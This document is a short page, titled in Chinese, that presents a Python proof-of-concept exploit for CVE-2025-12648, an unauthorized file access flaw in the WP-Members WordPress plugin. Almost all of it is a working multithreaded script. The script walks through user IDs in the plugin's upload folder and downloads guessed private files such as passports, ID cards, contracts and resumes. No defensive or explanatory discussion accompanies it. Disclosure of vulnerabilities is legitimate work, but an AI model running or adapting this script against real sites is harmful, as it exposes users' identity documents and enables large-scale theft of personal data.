CVE-2025-12648 WordPress WP-Members插件未授权文件访问漏洞

#!/usr/bin/env python3 """ CVE-2025-12648 PoC - WP-Members Unauthorized File Access This script demonstrates the file enumeration vulnerability in WP-Members plugin """ import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "http://target-wordpress-site.com" UPLOAD_PATH = "/wp-content/uploads/wpmembers/user_files/" # Common file patterns that users might upload COMMON_FILES = [ "contract.pdf", "document.pdf", "agreement.pdf", "id_card.jpg", "passport.jpg", "license.jpg", "resume.pdf", "cv.pdf", "invoice.pdf", "receipt.pdf" ] def check_file_access(user_id, filename): """Check if a specific file is accessible""" url = f"{TARGET_URL}{UPLOAD_PATH}{user_id}/{filename}" try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 0: return { "accessible": True, "user_id": user_id, "filename": filename, "size": len(response.content), "url": url } except requests.RequestException: pass return None def enumerate_files(start_id=1, end_id=1000): """Enumerate files for a range of user IDs""" results = [] print(f"[*] Starting enumeration from user ID {start_id} to {end_id}") with ThreadPoolExecutor(max_workers=20) as executor: futures = {} for user_id in range(start_id, end_id + 1): for filename in COMMON_FILES: future = executor.submit(check_file_access, user_id, filename) futures[future] = (user_id, filename) for future in as_completed(futures): result = future.result() if result: results.append(result) print(f"[+] Found accessible file: User {result['user_id']} - {result['filename']}") return results if __name__ == "__main__": if len(sys.argv) > 1: start = int(sys.argv[1]) end = int(sys.argv[2]) if len(sys.argv) > 2 else start + 100 results = enumerate_files(start, end) print(f"\n[*] Found {len(results)} accessible files") else: print("Usage: python cve-2025-12648-poc.py <start_user_id> <end_user_id>") print("Example: python cve-2025-12648-poc.py 1 1000")